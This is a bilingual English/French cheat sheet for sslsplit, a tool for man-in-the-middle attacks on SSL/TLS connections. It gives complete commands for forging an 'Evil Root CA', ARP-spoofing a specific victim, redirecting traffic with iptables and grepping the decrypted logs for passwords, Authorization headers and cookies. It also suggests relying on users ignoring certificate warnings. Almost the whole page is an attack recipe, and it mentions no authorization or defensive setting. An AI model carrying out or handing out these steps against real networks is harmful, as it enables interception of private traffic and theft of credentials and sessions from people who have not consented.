sslsplit

Proxy d'interception SSL/TLS transparent. Effectue des attaques man-in-the-middle sur des connexions SSL/TLS : déchiffre, journalise et rechiffre le trafic de manière transparente. Transparent SSL/TLS interception proxy. Performs man-in-the-middle attacks on SSL/TLS connections — decrypts, logs, and re-encrypts traffic transparently.

↗ https://github.com/droe/sslsplit

Overview

sslsplit performs transparent SSL/TLS man-in-the-middle attacks. It intercepts encrypted connections, decrypts them using a forged certificate signed by a CA you control, logs the plaintext traffic, and re-encrypts before forwarding to the real server. Requires traffic to be redirected to it (via iptables, ARP spoofing, etc.).

Setup — CA Certificate

Generate CA private key

openssl genrsa -out ca.key 4096

Self-signed CA certificate

openssl req -new -x509 -days 1826 -key ca.key -out ca.crt \
  -subj "/C=US/O=Evil CA/CN=Evil Root CA"
# Install CA cert on target device to avoid certificate warnings
# (or rely on users ignoring warnings)

Basic Usage

HTTPS interception (redirect port 443 → 8443)

sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit \
  -k ca.key -c ca.crt \
  ssl 0.0.0.0 8443

HTTP + HTTPS

sslsplit -D -l conn.log -j /tmp/ss -S /tmp/ss -k ca.key -c ca.crt \
  ssl 0.0.0.0 8443 \
  tcp 0.0.0.0 8080

Traffic Redirection (iptables)

# Redirect all HTTPS traffic to sslsplit on gateway/router
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

For traffic from a specific source

iptables -t nat -A PREROUTING -s 192.168.1.50 -p tcp --dport 443 -j REDIRECT --to-ports 8443
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1  # target → gateway
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50  # gateway → target

Enable IP forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Log Analysis

sslsplit saves decrypted content to files in -S directory

ls /tmp/sslsplit/

→ Files named: ---.log

View captured traffic

cat /tmp/sslsplit/*.log

Find credentials in HTTP POST bodies

grep -i "password\|passwd\|pass=" /tmp/sslsplit/*.log

Find Authorization headers

grep -i "Authorization:" /tmp/sslsplit/*.log

Find cookies

grep -i "Cookie:" /tmp/sslsplit/*.log

STARTTLS Support

SMTP with STARTTLS

sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8587

IMAP with STARTTLS

sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8993

POP3 with STARTTLS

sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8995

Tips

  • Install the CA cert in the target’s trust store to avoid certificate warnings
  • Mobile devices can be configured to use a proxy — easier than full network interception
  • Use -D (daemon mode) with logging for long-running captures
  • Certificate pinning in apps will bypass sslsplit — use Frida or Objection for those
  • mitmproxy is often easier to use for interactive inspection; sslsplit excels at passive logging
Help / Man page
sslsplit [options] proxyspecs...

-k KEY          CA private key file (PEM)
-c CERT         CA certificate file (PEM)
-j DIR          Jail directory for chroot
-S DIR          Log directory for content
-l FILE         Log connection info to file
-D              Run as daemon
-d              Debug mode (don't fork)

Proxy specs:
  ssl  <addr> <port>      SSL/TLS listener
  tcp  <addr> <port>      Plaintext TCP listener  
  autossl <addr> <port>   Auto-detect STARTTLS

Vue d’ensemble

sslsplit effectue des attaques man-in-the-middle SSL/TLS transparentes. Il intercepte les connexions chiffrées, les déchiffre à l’aide d’un certificat forgé signé par une CA que l’on contrôle, journalise le trafic en clair, puis le rechiffre avant de le transmettre au vrai serveur. Nécessite que le trafic lui soit redirigé (via iptables, ARP spoofing, etc.).

Mise en place : certificat CA

# Générer la clé privée CA
openssl genrsa -out ca.key 4096

# Certificat CA auto-signé
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt \
  -subj "/C=US/O=Evil CA/CN=Evil Root CA"

# Installer le certificat CA sur l'appareil cible pour éviter les avertissements de certificat
# (ou compter sur les utilisateurs qui ignorent les avertissements)

Utilisation de base

# Interception HTTPS (redirige le port 443 → 8443)
sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit \
  -k ca.key -c ca.crt \
  ssl 0.0.0.0 8443

# HTTP + HTTPS
sslsplit -D -l conn.log -j /tmp/ss -S /tmp/ss -k ca.key -c ca.crt \
  ssl 0.0.0.0 8443 \
  tcp 0.0.0.0 8080

Redirection du trafic (iptables)

# Rediriger tout le trafic HTTPS vers sslsplit sur la passerelle/routeur
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

# Pour le trafic d'une source spécifique
iptables -t nat -A PREROUTING -s 192.168.1.50 -p tcp --dport 443 -j REDIRECT --to-ports 8443
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1  # cible → passerelle
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50  # passerelle → cible

Activer l’IP forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Analyse des logs

sslsplit sauvegarde le contenu déchiffré dans des fichiers du répertoire -S

ls /tmp/sslsplit/

→ Fichiers nommés : ---.log

# Visualiser le trafic capturé
cat /tmp/sslsplit/*.log

# Trouver des identifiants dans les corps de requêtes POST
grep -i "password\|passwd\|pass=" /tmp/sslsplit/*.log

# Trouver les headers Authorization
grep -i "Authorization:" /tmp/sslsplit/*.log

# Trouver les cookies
grep -i "Cookie:" /tmp/sslsplit/*.log

Support STARTTLS

# SMTP avec STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8587

# IMAP avec STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8993

# POP3 avec STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8995

Conseils

  • Installer le certificat CA dans le magasin de confiance de la cible pour éviter les avertissements de certificat
  • Les appareils mobiles peuvent être configurés pour utiliser un proxy : plus simple qu’une interception réseau complète
  • Utiliser -D (mode daemon) avec journalisation pour des captures de longue durée
  • Le certificate pinning dans les applications contournera sslsplit : utiliser Frida ou Objection pour ces cas
  • mitmproxy est souvent plus facile à utiliser pour l’inspection interactive ; sslsplit excelle dans la journalisation passive
Aide / Page de manuel
sslsplit [options] proxyspecs...

-k KEY          CA private key file (PEM)
-c CERT         CA certificate file (PEM)
-j DIR          Jail directory for chroot
-S DIR          Log directory for content
-l FILE         Log connection info to file
-D              Run as daemon
-d              Debug mode (don't fork)

Proxy specs:
  ssl  <addr> <port>      SSL/TLS listener
  tcp  <addr> <port>      Plaintext TCP listener  
  autossl <addr> <port>   Auto-detect STARTTLS